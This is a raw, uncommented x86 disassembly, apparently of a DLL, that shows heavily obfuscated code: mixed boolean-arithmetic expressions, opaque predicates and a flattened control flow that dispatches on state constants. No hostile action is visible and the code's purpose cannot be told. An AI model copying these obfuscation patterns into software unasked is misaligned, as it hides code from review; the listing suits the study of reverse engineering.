and eax, 0xa73d5c66
and esi, 0x58c2a399
or esi, eax
mov ecx, esi
xor ecx, 0x14484684
or edx, 0x44014124
xor edi, 0x1d01208
and edi, 0x1d09208
and edx, 0x742149b6
or edx, edi
mov eax, edx
xor eax, 0x30000080
xor esi, 0x69323903
xor edx, 0x8bdeb649
mov edi, esi
and edi, 0x83a7b97b
and ecx, 0x7c584684
or ecx, edi
or esi, edx
and edx, 0x83a7b97b
and eax, 0x30500280
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov edx, esi
mov eax, esi
xor eax, 0xc0de7959
and eax, esi
not esi
or edx, 0x3f2186a6
mov ecx, eax
not ecx
mov edi, edx
and edi, 0xfc896e66
and esi, 0x561119
or esi, edi
or edx, ecx
and ecx, 0xfc896e66
and eax, 0x3769199
or eax, ecx
xor eax, esi
not edx
or edx, eax
mov eax, edx
xor eax, 0x2f0104a0
xor edx, 0xc0de7959
mov ecx, edx
and ecx, 0xd064f34f
and eax, 0x2f9b0cb0
or eax, ecx
xor eax, 0xd064f34f
xor edx, eax
and edx, eax
mov edi, dword [esp + 8]
mov eax, edi
and eax, 0x1aa2b1ed
mov ebx, dword [esp]
mov ecx, ebx
and ecx, 0xe55d4e12
or ecx, eax
mov eax, ecx
xor eax, 0x440802
xor ecx, 0x2001100
mov esi, edi
or esi, 0xc7081700
or ecx, 0x18110041
and ecx, 0xdf191741
and eax, 0x64082e
or eax, ecx
and esi, 0xdf191741
mov ecx, ebx
and ecx, 0x2082e090
or ecx, esi
xor ecx, eax
xor ecx, 0xf69c85b4
and edi, 0xefc196e7
mov esi, ebx
and esi, 0x103e6918
or esi, edi
xor esi, 0x103e6918
or esi, ecx
mov ecx, esi
not ecx
mov dword [esp], ecx
mov edi, edx
not edi
mov eax, edi
and eax, 0xfc1502b1
mov ebx, edx
and ebx, 0x3eafd4e
or ebx, eax
mov ebp, ebx
mov ebx, esi
and ebx, 0x5392d0ef
mov eax, ecx
and eax, 0xac6d2f10
or eax, ebx
mov ecx, ebp
xor ebp, 0x1c01c0e
xor ecx, 0xfc1502b1
mov ebx, ecx
and ebx, 0x9e2fe1c1
and ebp, 0x61d01e3e
or ebp, ebx
mov ebx, eax
xor ebx, 0x20400e10
xor eax, 0x5392d0ef
or ecx, eax
and eax, 0x9e2fe1c1
and ebx, 0x61d01e3e
or ebx, eax
xor ebx, ebp
mov eax, esi
xor esi, 0x5ccd785c
mov ebp, dword [esp]
and esi, ebp
not ecx
or ecx, ebx
mov ebx, ecx
not ebx
mov dword [esp], ebx
and eax, 0x81320721
and ebp, 0x22008082
or ebp, eax
mov eax, edi
or eax, 0x83108283
xor ebp, 0x22008082
or esi, ebp
mov ebx, edx
or ebx, 0x48cd0054
and ebx, 0xcbdd82d7
and edi, 0x20220520
or edi, ebx
and eax, 0xcbdd82d7
and edx, 0x14007808
or edx, eax
xor edx, edi
mov edi, esi
xor edi, esi
not edi
and edi, edx
xor edi, esi
mov esi, ecx
mov edx, ecx
and edx, 0x760317f4
xor esi, 0x1f783011
mov eax, dword [esp]
and esi, eax
and eax, 0x89fce80b
or eax, edx
mov edx, eax
xor edx, 0x89fce80b
mov dword [esp], edx
mov ecx, edi
not ecx
and edx, 0xe087cfee
or esi, edx
mov dword [esp + 4], esi
mov ebp, edi
xor ebp, 0xe087cfee
and ebp, ecx
mov edx, ebp
not edx
mov ebx, edx
and ebx, 0x37b8acc6
and ebp, 0xc8475339
or ebp, ebx
mov ebx, ecx
or ebx, 0xe087cfee
or edx, ebx
and ebx, 0x37b8acc6
mov esi, edi
and esi, 0x8401011
or esi, ebx
xor esi, ebp
xor eax, 0x760317f4
not edx
or edx, esi
xor edx, dword [esp + 4]
mov esi, eax
and esi, 0x337a35f2
mov ebx, dword [esp]
and ebx, 0xcc85ca0d
or ebx, esi
or eax, edi
and edi, 0x337a35f2
and ecx, 0xcc85ca0d
or ecx, edi
xor ecx, ebx
not eax
or eax, ecx
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0x4a671d7a
and edx, 0xb598e285
or edx, esi
xor edx, eax
xor edx, 0xb598e285
or ecx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
mov esi, eax
and esi, 0xb4cac180
mov edx, ecx
and edx, 0x4b353e7f
or edx, esi
mov esi, edx
xor esi, 0x9200649
xor edx, 0xb4cac180
mov edi, eax
and edi, ecx
mov ebx, edi
not ebx
mov ebp, edx
and ebp, 0x46dfb836
and esi, 0xb92047c9
or esi, ebp
or edx, ebx
and ebx, 0x46dfb836
and edi, 0xb92047c9
or edi, ebx
xor edi, esi
not edx
or edx, edi
mov esi, edx
not esi
and esi, 0xce0f6565
and edx, 0x31f09a9a
or edx, esi
mov esi, edx
xor esi, 0xce0f6565
and esi, edx
mov edx, eax
and edx, 0x386bada6
and ecx, 0xc7945259
or ecx, edx
xor ecx, 0x99b373c
xor eax, ecx
and eax, ecx
mov edx, eax
not edx
mov ecx, esi
xor ecx, edx
and ecx, esi
and edx, 0x873068d4
and eax, 0x78cf972b
or eax, edx
xor eax, esi
xor eax, 0x873068d4
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x710102b0
mov esi, eax
and esi, 0x80c27c08
or esi, edx
xor esi, 0x80c27c08
mov edi, ecx
and edi, eax
or edi, esi
mov edx, edi
not edx
or edx, 0x6148041
and edi, 0x80015620
and edx, 0x77d6a8d9
or edx, edi
mov esi, edx
xor esi, 0x77d6a8d9
mov edi, edx
xor edi, 0x8201604
mov ebx, ecx
and ebx, 0x4241b8d1
and eax, 0xbdbe472e
or eax, ebx
xor eax, 0xb382c669
xor ecx, eax
and ecx, eax
and edi, 0x49f09e4c
xor edx, 0x60425428
and edx, esi
and esi, 0xb00360b0
or esi, edi
mov eax, esi
xor eax, 0xb60f61b3
xor esi, 0x565ce2fa
and esi, eax
or edx, esi
xor edx, ecx
not ecx
xor edx, 0x1fac7cb6
or ecx, eax
not ecx
or ecx, edx
mov eax, ecx
xor eax, 0xe3c8147
xor ecx, 0xf1c37eb8
mov edx, ecx
and edx, 0xa75f2a1e
mov esi, eax
and esi, 0x58a0d5e1
or esi, edx
mov edx, esi
xor edx, 0x58a0d5e1
xor esi, 0x261a9db6
and esi, edx
or ecx, 0x8145b7a8
mov edx, esi
not edx
mov edi, edx
and edi, 0x1842a391
and esi, 0xe7bd5c6e
or esi, edi
or edx, ecx
and ecx, 0x1842a391
and eax, 0x66b84846
or eax, ecx
xor eax, esi
not edx
or edx, eax
mov eax, edx
xor eax, 0x814490a8
xor edx, 0x5c920844
and edx, 0x5c932f44
and eax, 0xa36cd0bb
or eax, edx
mov ecx, eax
xor ecx, 0x5c932f44
xor eax, 0xa36cd0bb
mov esi, ecx
mov edi, eax
and edi, ecx
mov edx, eax
and edx, 0x5a18f01a
and ecx, 0xa5e70fe5
or ecx, edx
xor ecx, 0xd4b184ae
or ecx, eax
and eax, 0xaf2e9916
and esi, 0x50d166e9
or esi, eax
xor esi, 0x50d166e9
or edi, esi
mov ebx, edi
mov esi, edi
xor ebx, 0xf7fecf7f
mov edx, ebx
or edx, 0x8ea974b4
mov eax, edx
mov ebp, edx
mov dword [esp], edx
not eax
mov edx, ecx
not edx
mov edi, ecx
and edi, 0xb723dd48
xor ecx, 0xaaf8a322
and ecx, edx
and edx, 0x48dc22b7
or edx, edi
mov edi, eax
or edi, 0xa8f00100
and edi, 0xe9f40949
and ebp, 0x14020404
or ebp, edi
or ebx, 0xc9a558d9
and ebx, 0xe9f559d9
and esi, 0x8202
or esi, ebx
mov ebx, edx
xor ebx, 0x48dc22b7
xor esi, ebp
mov dword [esp + 4], esi
mov edi, edx
xor edi, 0xe2248195
and edi, ebx
mov ebp, edi
not ebp
mov esi, ebp
and esi, 0x792d58e7
and edi, 0x86d2a718
or edi, esi
mov esi, ecx
not esi
or ebp, esi
and esi, 0x792d58e7
and ecx, 0x86d2a718
or ecx, esi
xor ecx, edi
not ebp
or ebp, ecx
mov ecx, ebp
xor ecx, ebp
not ecx
and ecx, dword [esp + 4]
xor ecx, ebp
mov esi, eax
and esi, 0x68340
mov edi, dword [esp]
and edi, 0x717018bb
or edi, esi
xor edx, 0xb723dd48
or eax, edx
and edx, 0x8e8fe744
and ebx, 0x717018bb
or ebx, edx
xor ebx, edi
not eax
or eax, ebx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x8ea974b4
xor eax, 0x71568b4b
mov edx, eax
and edx, 0x24ec1efe
mov esi, ecx
and esi, 0xdb13e101
or esi, edx
and ecx, 0x24ec1efe
mov edx, eax
and edx, 0xdb13e101
or edx, ecx
xor edx, esi
xor eax, edx
test eax, edx
sete al
mov byte [esp], al
setne dl
cmp dword [0x10047904], 0xa
setl ch
setge ah
mov cl, dl
xor cl, al
mov al, cl
xor al, 1
and cl, al
xor cl, 1
mov dh, al
xor dh, cl
or cl, al
xor cl, 1
or cl, dh
mov al, cl
xor al, 1
and cl, al
xor cl, 1
mov dh, cl
xor dh, al
or cl, al
xor cl, 1
or cl, dh
mov dh, cl
xor dh, 1
mov ebx, edx
or bl, dh
xor bl, 1
xor dh, dl
or bl, dh
or cl, dl
xor cl, 1
and dh, dl
or dh, cl
mov al, bl
xor al, dh
xor dh, 1
or dh, bl
mov cl, al
xor cl, dh
or dh, al
xor dh, 1
or dh, cl
mov bl, dh
xor bl, 1
mov al, ah
xor al, dh
and al, ah
mov cl, bl
or cl, ah
xor cl, 1
or cl, al
xor cl, bl
and cl, dh
mov bh, dh
and bh, bl
xor bh, 1
or bh, bl
xor bh, 1
or bh, dh
mov al, bh
xor al, 1
mov dh, ah
or dh, al
and bh, ah
and al, ch
or al, bh
xor al, 1
mov ebx, eax
xor bl, dh
or al, dh
xor al, 1
or al, bl
mov ebx, eax
xor bl, 1
mov bh, cl
xor bh, bl
mov dh, cl
or dh, bl
xor dh, 1
or dh, bh
and bl, al
xor bl, 1
mov bh, bl
xor bh, al
or bl, al
mov al, cl
xor al, 1
xor bl, 1
or bl, bh
mov bh, dh
xor bh, 1
and al, bl
xor bl, 1
and bl, cl
or bl, al
mov cl, bl
xor cl, 1
and bl, dh
or dh, cl
and cl, bh
or cl, bl
xor cl, 1
mov al, cl
xor al, dh
or cl, dh
xor cl, 1
or cl, al
mov bh, byte [esp]
mov bl, bh
xor bl, ch
mov al, bl
and al, dl
mov dh, ch
or dh, dl
xor dh, 1
or dh, al
and dl, ch
or ch, bh
xor ch, 1
and ah, bh
or ah, dl
or ah, ch
xor ah, 1
mov al, bl
xor al, ah
or ah, bl
xor ah, 1
or ah, al
xor ah, 1
or ah, al
mov ch, ah
xor ch, 1
mov dl, dh
xor dl, 1
mov al, ah
and al, dl
and dh, ch
or dh, al
mov al, dh
xor al, dl
and al, dh
xor ah, dl
and ah, ch
or dl, ch
xor ah, 1
mov ch, ah
xor ch, dl
or ah, dl
xor ah, 1
or ah, ch
or ah, al
mov al, ah
xor al, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov bh, ah
and bh, dl
xor bh, 1
or bh, dl
xor bh, 1
or bh, ah
mov dh, bh
xor dh, 1
mov dl, cl
xor dl, 1
mov ch, dl
and ch, cl
xor ch, 1
or ch, dl
mov bl, ch
xor bl, 1
or cl, bl
mov ah, cl
xor ah, 1
xor ch, dl
or ch, bl
mov dl, dh
and dl, bh
xor dl, 1
mov bl, dl
or bl, bh
xor bl, 1
xor dl, bh
or dl, bl
mov al, dl
and al, cl
mov byte [esp], al
xor dl, 1
and dl, ah
and bh, ah
or ah, dh
and cl, dh
or dh, bl
mov bl, dh
xor bl, 1
and bl, dh
xor bl, 1
mov al, bl
xor al, dh
or bl, dh
xor bl, 1
or bl, al
mov al, ch
xor al, 1
mov dh, ch
and dh, al
xor dh, 1
or dh, al
xor dh, 1
or dh, ch
mov ch, dh
xor ch, 1
and ch, dh
xor ch, 1
mov al, dh
xor al, ch
or ch, dh
xor ch, 1
or ch, al
mov al, ch
and ch, bl
xor bl, 1
xor al, 1
and al, bl
or ch, al
or dl, byte [esp]
xor ah, 1
or cl, bh
or cl, ah
mov ah, cl
xor ah, 1
and ah, cl
xor ah, 1
mov al, cl
xor al, ah
or ah, cl
xor ah, 1
or ah, al
mov al, ah
xor al, 1
xor ah, dl
xor dl, 1
or dl, al
xor dl, 1
or ah, dl
mov cl, ah
xor cl, 1
mov al, ah
and al, cl
xor al, 1
or al, cl
xor al, 1
or al, ah
mov cl, al
xor cl, 1
and al, cl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov dh, al
xor dh, 1
mov cl, ch
xor cl, 1
mov ah, ch
and ah, cl
xor ah, 1
or ah, cl
xor ah, 1
or ah, ch
mov ch, ah
xor ch, 1
mov dl, dh
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, dh
and dh, ch
and ch, dl
xor dl, 1
and dl, ah
and ah, al
or ah, dh
or dl, ch
mov ch, cl
xor ch, al
or cl, al
xor cl, 1
or cl, ch
xor dl, 1
mov al, dl
xor al, cl
or dl, cl
xor dl, 1
or dl, al
xor ah, 1
mov al, ah
or al, dl
xor ah, dl
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0xae012ed5
mov edx, 0x7c8915be
cmovne ecx, edx
test ah, 1
mov edi, ecx
mov edx, 0xae012ed5
cmovne edi, edx
test al, 1
cmovne edi, ecx
jmp 0x10008b80
mov eax, dword [0x10047900]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, eax
mov ebp, eax
and ecx, 0xf258c264
mov eax, edx
and eax, 0xda73d9b
or eax, ecx
mov ecx, eax
xor ecx, 0x80
xor eax, 0x40008244
and ecx, 0x100040a0
and eax, 0x4823a345
or eax, ecx
mov esi, eax
xor esi, 0xb7dc5cba
xor eax, esi
mov ecx, ebp
and ecx, 0x5823e3e5
mov ebx, edx
and ebx, 0xa7dc1c1a
or ebx, ecx
not ebx
or ebx, ebp
xor eax, 0x4823a345
and eax, ebx
xor eax, esi
mov edi, esi
or edi, ebx
mov esi, eax
not esi
mov ecx, esi
and ecx, 0xdeb805ef
and eax, 0x2147fa10
or eax, ecx
or esi, edi
and edi, 0xdebbe7ef
xor edi, eax
xor edi, 0x3e200
not esi
or esi, edi
mov eax, esi
xor eax, 0x5823e3e5
mov ecx, eax
and ecx, 1
and eax, 0xfffffffe
and esi, 1
or esi, eax
or esi, ecx
mov edi, esi
not edi
and esi, 0x37edcd5c
and edi, 0xc81232a3
or edi, esi
mov eax, edi
xor eax, 0x1045c84c
xor edi, 0xc81232a3
mov ecx, edi
and ecx, 0x2faa27b3
and eax, 0xd055d84c
or eax, ecx
xor eax, 0xd055d84c
or eax, edi
mov esi, edx
mov dword [esp + 4], edx
mov ecx, edx
and ecx, 0x4d274169
mov edx, ebp
mov dword [esp + 8], ebp
and ebp, 0xb2d8be96
or ebp, ecx
mov edi, ebp
xor edi, 0xb2d8be96
mov ecx, ebp
xor ecx, 0x49494b95
and ecx, edi
xor esi, 0xfb91f503
and esi, edx
or esi, ecx
mov ebx, esi
xor ebx, 0x1b017000
or edi, 1
xor ebp, 0x48250168
and ebp, 0xd8a5bfea
and edi, 0x275a4015
or edi, ebp
xor esi, 0x46e0afd
mov ecx, esi
and ecx, 0xe0d287df
and ebx, 0x1f2d7820
or ebx, ecx
mov ecx, edi
xor ecx, 0x7084000
xor edi, 0xd8a5bfea
or esi, edi
and edi, 0xe0d287df
and ecx, 0x1f2d7820
or ecx, edi
mov edx, eax
not edx
xor ecx, ebx
not esi
or esi, ecx
mov ebx, esi
not ebx
and esi, 0x6498d3df
and ebx, 0x9b672c20
or ebx, esi
mov ecx, eax
and ecx, 0x2f581fbd
mov edi, edx
and edi, 0xd0a7e042
or edi, ecx
mov ebp, ebx
xor ebp, 0x6498d3df
xor ebx, 0x9b672c20
mov ecx, ebp
and ecx, 0x2f581fbd
mov esi, ebx
and esi, 0xd0a7e042
or esi, ecx
xor esi, edi
not esi
or esi, eax
and eax, 0xc8d978e3
and edx, 0x3726871c
or edx, eax
mov ecx, ebx
and ecx, 0x80883003
mov eax, ebp
and eax, 0x485148e0
or eax, ecx
mov ecx, eax
xor ecx, 0x40010860
xor eax, 0x60c3109
and eax, 0xe5c7189
and ecx, 0xc0810862
or ecx, eax
or ebx, 0x8587081
and ebx, 0xe5c7189
and ebp, 0x31228614
or ebp, ebx
xor ebp, ecx
mov ebx, ebp
xor ebx, ebp
not ebx
and ebx, edx
xor ebx, ebp
mov eax, ebx
xor eax, 0x641b8e71
mov ecx, eax
and eax, ebx
mov edi, ebx
not edi
mov ebx, esi
xor ebx, 0x9be4718e
and ebx, esi
and ecx, edi
or eax, ecx
mov ebp, ebx
not ebp
mov ecx, ebp
and ecx, 0xe3a8e0c2
and ebx, 0x1c571f3d
or ebx, ecx
or edi, esi
mov ecx, esi
or esi, 0x641b8e71
not ecx
or ebp, esi
and esi, 0xe3a8e0c2
and ecx, 0x1844110c
or ecx, esi
xor ecx, ebx
not ebp
or ebp, ecx
mov ecx, eax
xor ecx, eax
not ecx
and ecx, ebp
xor ecx, eax
mov eax, edi
not eax
mov esi, ecx
not esi
mov edx, esi
and edx, 0x2ffeaa2d
and ecx, 0xd00155d2
or ecx, edx
or esi, edi
and edi, 0x2ffeaa2d
and eax, 0xd00155d2
or eax, edi
xor eax, ecx
not esi
or esi, eax
mov eax, dword [esp + 4]
and eax, 0xcea1015f
mov ecx, dword [esp + 8]
and ecx, 0x315efea0
or ecx, eax
mov eax, ecx
xor eax, 0x10002ea0
xor ecx, 0x4010009
and ecx, 0x255fd009
and eax, 0xdaa02ff6
or eax, ecx
mov edx, eax
xor edx, 0xdaa02ff6
xor eax, 0x10009
and eax, 0x10010019
mov ecx, edx
and ecx, 0x13c2342
or ecx, eax
xor ecx, 0x13c2342
and edx, 0xeec2dca4
or edx, ecx
mov eax, esi
mov dword [esp], esi
mov ebx, esi
not ebx
mov edi, esi
or edi, 0x285447a2
xor esi, 0xd7abb85d
and esi, eax
mov ecx, edi
and ecx, 0x1c62804
mov eax, ebx
and eax, 0x12280050
or eax, ecx
mov ecx, esi
not ecx
or edi, ecx
and ecx, 0x1c62804
and esi, 0x3a2806d2
or esi, ecx
mov ebp, ebx
mov dword [esp + 4], ebx
xor esi, eax
not edi
or edi, esi
mov eax, edi
and eax, 0x1a2206d6
xor edi, 0x20440000
xor eax, 0x5233417d
and edi, 0x21cc2800
or edi, eax
mov eax, dword [esp]
and eax, 0xef7ebddd
and ebx, 0x10814222
or ebx, eax
mov ecx, edx
xor ecx, 0x113d235b
xor ebx, 0xd490930b
and ebp, 0x3bee2ed6
or ebp, ebx
xor edx, 0xeec2dca4
mov eax, ecx
and eax, 0xa873393e
mov esi, edx
and esi, 0x578cc6c1
or esi, eax
mov eax, esi
xor eax, 0x578cc6c1
xor esi, 0x8073200a
and esi, 0x92f3664a
mov ebx, eax
and ebx, 0x6d0c99b5
or ebx, esi
xor ebx, 0x56e2b763
and eax, 0xc411d129
or eax, ebx
and ecx, 0x300404eb
mov esi, edx
and esi, 0xcffbfb14
or esi, ecx
xor esi, 0xbea2a3d
and edx, 0x3bee2ed6
or edx, esi
mov esi, edi
xor esi, 0x18220656
xor edi, 0xa5ccb800
mov ecx, edi
and edi, 0x6c818a9
and esi, 0x39262656
or esi, edi
or ecx, ebp
xor esi, ebp
mov edi, eax
not edi
not ecx
xor esi, 0xf937e756
or esi, ecx
mov ecx, eax
and ecx, 0x768a15d4
xor eax, 0xfa9f367b
and eax, edi
and edi, 0x8975ea2b
or edi, ecx
mov ebx, edx
not ebx
mov ecx, edx
and ecx, 0x8e51b95d
xor edx, 0xfa9f367b
and edx, ebx
and ebx, 0x71ae46a2
or ebx, ecx
mov ebp, edi
xor ebp, 0x4000184
or ebp, 0xfa9f367b
mov dword [esp + 8], edi
xor edi, 0x140c800
mov ecx, ebp
and ecx, 0x3ab72486
and edi, 0x540c900
or edi, ecx
mov ecx, eax
not ecx
or ebp, ecx
and ecx, 0x3ab72486
and eax, 0xc548db79
or eax, ecx
xor eax, edi
not ebp
or ebp, eax
mov ecx, ebx
xor ecx, 0x71ae46a2
xor ebx, 0x8b3170d9
and ebx, ecx
mov eax, ebx
not eax
mov edi, eax
and edi, 0x5d1f4bd9
and ebx, 0xa2e0b426
or ebx, edi
mov edi, edx
not edi
or eax, edi
and edi, 0x5d1f4bd9
and edx, 0xa2e0b426
or edx, edi
xor edx, ebx
not eax
or eax, edx
mov ebx, eax
xor ebx, eax
not ebx
and ebx, ebp
mov edx, dword [esp + 8]
xor edx, 0x8975ea2b
xor ebx, eax
or ecx, edx
mov edx, ebx
not edx
mov eax, edx
and eax, 0xce672aee
and ebx, 0x3198d511
or ebx, eax
xor ebx, ecx
xor ebx, 0x3198d511
or edx, ecx
not edx
or edx, ebx
mov edi, esi
mov ebx, edx
not ebx
mov ebp, edx
xor ebp, 0x34761055
and ebx, ebp
and ebp, edx
mov eax, esi
xor eax, 0x34761055
and eax, esi
not esi
or edi, 0xcb89efaa
mov ecx, edi
and ecx, 0x95292ea4
and esi, 0x20561051
or esi, ecx
mov ecx, eax
not ecx
or edi, ecx
and ecx, 0x95292ea4
and eax, 0x6ad6d15b
or eax, ecx
xor eax, esi
not edi
or edi, eax
mov edx, ebx
not edx
mov eax, edx
and eax, 0xb1e5e942
and ebx, 0x4e1a16bd
or ebx, eax
mov eax, ebp
not eax
or edx, eax
and eax, 0xb1e5e942
and ebp, 0x4e1a16bd
or ebp, eax
mov eax, dword [esp]
mov dword [esp + 8], eax
xor eax, 0xb2a57aa
mov ecx, dword [esp + 4]
and eax, ecx
mov dword [esp], eax
mov eax, ecx
xor ebp, ebx
not edx
or edx, ebp
xor edx, edi
mov edi, edx
not edi
mov ecx, edx
or ecx, 0xb2a57aa
mov esi, edx
xor esi, 0xf4d5a855
and esi, edx
mov ebx, dword [esp + 8]
and ebx, 0xa4d48851
and eax, 0x50012004
or eax, ebx
xor eax, 0x50012004
mov ebp, dword [esp]
or ebp, eax
mov eax, ecx
and eax, 0x7a3cd904
mov ebx, edi
and ebx, 0x84c12051
or ebx, eax
mov eax, esi
not eax
or ecx, eax
and eax, 0x7a3cd904
and esi, 0x85c326fb
or esi, eax
xor esi, ebx
not ecx
or ecx, esi
xor ecx, ebp
and edi, 0xdf057a08
and edx, 0x20fa85f7
or edx, edi
mov eax, ecx
not eax
mov esi, eax
and esi, 0xa3d96035
and ecx, 0x5c269fca
or ecx, esi
mov esi, edx
xor esi, 0x2285c2
xor edx, 0x83016000
and edx, 0xa3d96035
and esi, 0x5c269fca
or esi, edx
xor esi, ecx
xor eax, esi
test eax, esi
setne ah
sete ch
cmp dword [0x10047904], 0xa
setl byte [esp]
setge dl
mov al, ch
xor al, ah
mov ebx, eax
xor bl, 1
mov dh, al
and dh, bl
xor dh, 1
or dh, bl
xor dh, 1
or dh, al
mov al, dh
xor al, 1
mov bl, ch
xor bl, dh
mov bh, bl
and bh, dh
and bl, ch
mov cl, bh
xor cl, 1
xor bh, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, bh
and dh, ah
or ah, al
xor ah, 1
and al, ch
or al, dh
or al, ah
mov ecx, eax
xor cl, 1
mov ah, bl
xor ah, 1
and cl, ah
or ah, al
and al, bl
or al, cl
xor al, 1
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
mov ch, al
xor ch, 1
mov ah, al
and ah, ch
mov cl, ch
xor cl, ah
xor ah, 1
mov dh, al
or dh, ah
xor dh, 1
or dh, cl
mov bl, dh
xor bl, 1
mov cl, ch
xor cl, ah
or ah, ch
xor ah, 1
or ah, cl
mov bh, al
xor bh, ah
and bh, ch
xor bh, 1
or ah, al
and ah, al
or bh, al
xor ah, 1
mov al, ah
xor al, bh
or ah, bh
xor ah, 1
or ah, al
xor ah, 1
mov al, dl
xor al, ah
or ah, dl
not al
and al, dl
mov byte [esp + 4], dl
xor al, 1
mov ecx, eax
xor cl, ah
or al, ah
xor al, 1
or al, cl
mov ch, bl
and ch, dh
xor ch, 1
mov ah, dh
or ah, ch
or ch, bl
xor ch, 1
or ch, dh
mov bh, ch
xor bh, 1
xor ah, 1
or ah, bl
or dh, bh
xor dh, ah
and ah, dh
xor ah, 1
mov cl, ah
xor cl, dh
or ah, dh
xor ah, 1
or ah, cl
mov dh, ah
xor dh, 1
or dh, dl
mov cl, dh
xor cl, 1
mov dl, byte [esp]
or ah, dl
mov bl, ah
xor bl, 1
and bl, dh
or dh, ah
and ah, cl
or ah, bl
xor ah, 1
mov cl, ah
xor cl, dh
or ah, dh
xor ah, 1
or ah, cl
mov dh, byte [esp + 4]
mov cl, dh
xor cl, bh
or bh, dl
or dl, ch
xor dl, 1
or dl, cl
mov bl, dl
or ch, dh
mov cl, ch
xor cl, bh
or ch, bh
xor ch, 1
or ch, cl
mov dl, ch
xor dl, 1
mov dh, ch
and dh, dl
xor dh, 1
or dh, dl
xor dh, 1
or dh, ch
xor dh, bl
or dl, bl
mov cl, dh
xor cl, dl
or dl, dh
xor dl, 1
or dl, cl
mov dh, dl
xor dh, 1
mov ch, ah
xor ch, 1
mov cl, dh
and cl, dl
xor cl, 1
mov ebx, ecx
xor bl, dh
or cl, dh
xor cl, 1
or cl, bl
mov bl, ch
xor bl, cl
or cl, ch
and cl, bl
and dl, ah
and ch, dh
or ch, dl
or dh, ah
xor ch, 1
mov dl, ch
xor dl, dh
or ch, dh
xor ch, 1
or ch, dl
mov dl, ch
xor dl, 1
mov ah, ch
and ah, dl
xor ah, 1
or ah, dl
xor ah, 1
or ah, ch
mov ch, ah
and ch, cl
mov dh, cl
xor dh, dl
or dl, cl
xor cl, 1
xor ah, 1
and ah, cl
xor dl, 1
or dl, dh
xor dl, 1
or dl, ch
or dl, ah
mov ecx, edx
xor cl, 1
mov ah, cl
and ah, dl
xor ah, 1
or ah, dl
xor ah, 1
or ah, cl
mov cl, ah
xor cl, 1
mov edx, ecx
and dl, ah
xor dl, 1
mov ch, dl
xor ch, cl
or dl, cl
xor dl, 1
or dl, ch
mov ch, dl
xor ch, 1
mov cl, ch
xor cl, ah
or ah, dl
xor ah, 1
and cl, dl
or cl, ah
xor cl, 1
or cl, ch
mov edx, ecx
xor dl, 1
mov ah, al
xor ah, 1
and cl, al
mov dh, ah
and dh, al
xor dh, 1
or dh, al
mov al, ah
xor al, dl
and al, ah
xor dh, 1
or dh, ah
and ah, dl
or ah, cl
or ah, al
mov al, ah
xor al, 1
mov ch, al
and ch, ah
xor al, ch
xor ch, 1
or ch, ah
xor ch, 1
or ch, al
xor ch, 1
mov ah, dh
xor ah, dl
xor ah, 1
and ah, dl
or dh, dl
xor ah, 1
mov al, ah
xor al, dh
or ah, dh
xor ah, 1
or ah, al
mov cl, ch
xor cl, ah
xor cl, 1
mov al, cl
or al, ch
and cl, ah
or ah, ch
xor cl, 1
mov edx, ecx
xor dl, ah
or cl, ah
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
mov ch, cl
xor ch, dl
or dl, cl
xor dl, 1
or dl, ch
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
and dl, al
or dl, cl
or ah, al
mov al, ah
xor al, dl
test ah, 1
mov edi, 0x11ad21a4
mov ecx, 0x7c8915be
cmovne edi, ecx
test dl, 1
cmove edi, ecx
test al, 1
mov eax, dword [esp + 0x18]
mov dword [esp + 0x44], eax
mov eax, 0x11ad21a4
cmove edi, eax
jmp 0x10008b80
mov edi, 0x3df3814a
jmp 0x10008b80
mov eax, dword [0x10047900]
lea edx, [eax + 1]
imul edx, eax
mov edi, edx
not edi
mov eax, edi
and eax, 0xe190c746
mov ecx, edx
mov ebx, edx
and ecx, 0x1e6f38b9
or ecx, eax
xor ecx, 0xe190c746
or ecx, edi
mov eax, ecx
not eax
mov esi, edx
and esi, 0x21e05194
mov edx, edi
mov ebp, edi
and edx, 0xde1fae6b
or edx, esi
xor edx, 0xde1fae6b
and ecx, 0xae74b073
mov esi, eax
and esi, 0x518b4f8c
or esi, ecx
mov ecx, esi
xor ecx, 0x518b4f8c
xor esi, 0x8a8ef0b0
and esi, ecx
or ecx, edx
and edx, 0x24fa40c3
mov dword [esp + 4], edi
and edi, 0xdb05bf3c
or edi, edx
and eax, 0xdb05bf3c
or eax, esi
mov esi, eax
xor esi, eax
not esi
and esi, edi
xor esi, eax
mov edx, esi
not edx
mov eax, edx
and eax, 0xf0ee6985
and esi, 0xf11967a
or esi, eax
xor esi, ecx
xor esi, 0xf11967a
or edx, ecx
not edx
or edx, esi
mov ecx, edx
not ecx
mov eax, ecx
and eax, edx
mov esi, eax
not esi
mov edi, edx
and edi, 0x38134966
and ecx, 0xc7ecb699
or ecx, edi
or edx, esi
and esi, 0x38134966
and eax, 0xc7ecb699
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov ecx, edx
not ecx
mov esi, ecx
and esi, 0xcd5135b1
mov eax, edx
and eax, 0x32aeca4e
or eax, esi
mov edi, eax
xor edi, 0x510030
or edi, 0xc4000d06
mov esi, eax
xor esi, 0x30a08040
or ecx, 0x570038
and edi, 0xc4570d3e
and esi, 0x31a0b040
or esi, edi
and ecx, 0xc4570d3e
and edx, 0xa084281
or edx, ecx
xor edx, esi
mov ecx, edx
xor ecx, 0x21562020
or eax, 0xfffffffe
xor edx, 0xce084f86
mov esi, edx
and esi, 0x14a9d459
and ecx, 0xeb562ba6
or ecx, esi
or edx, eax
and eax, 0x14a9d459
xor eax, ecx
not edx
or edx, eax
mov esi, edx
or esi, 0x44190000
not eax
mov ecx, edx
xor ecx, 0x1364f3d9
and ecx, edx
mov edi, ecx
not edi
and esi, 0x567d6009
